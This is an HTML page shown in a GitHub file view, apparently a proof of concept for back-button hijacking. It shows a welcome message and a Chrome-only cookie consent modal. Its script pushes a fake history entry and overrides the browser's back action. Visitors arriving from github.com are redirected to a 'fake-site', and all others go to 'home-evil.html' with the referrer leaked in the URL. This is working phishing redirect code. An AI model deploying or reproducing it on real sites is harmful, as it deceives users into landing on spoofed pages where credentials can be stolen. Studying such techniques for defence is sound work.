-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpage.html
More file actions
70 lines (66 loc) · 2.13 KB
/
page.html
File metadata and controls
70 lines (66 loc) · 2.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<head>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css"
rel="stylesheet"
/>
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>
<div id="content">
<div class="jumbotron d-flex align-items-center min-vh-100">
<div class="container text-center">
<h1>Welcome!</h1>
<h3>Click on the browser back button to go back</h3>
<!-- <h2><a href="home.html">Home</a></h2> -->
</div>
</div>
</div>
<div
class="modal fade"
id="cookieModal"
tabindex="-1"
role="dialog"
aria-labelledby="cookieModalLabel"
aria-hidden="true"
>
<div class="modal-dialog" role="document">
<div class="modal-content">
<!-- <div class="modal-header">
<h5 class="modal-title" id="cookieModalLabel">Modal title</h5>
</div> -->
<div class="modal-body">
We use cookies to improve user experience and analyze website traffic.
By clicking "Accept", you agree to our website's cookie use as
described in our Cookie Policy.
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">
Cancel
</button>
<button type="button" class="btn btn-primary" data-dismiss="modal">
Accept
</button>
</div>
</div>
</div>
</div>
</body>
<script type="text/javascript">
history.pushState(null, document.title, location.href);
window.onpopstate = function (event) {
// Choose fake site based on referrer
if (document.referrer.includes("github.com")) {
window.location.href = "fake-site";
} else {
window.location.href = "home-evil.html?" + document.referrer;
}
};
if (
navigator.userAgent.indexOf("Chrome") != -1 &&
navigator.vendor.indexOf("Google Inc") != -1
) {
$("#cookieModal").modal("show");
}
</script>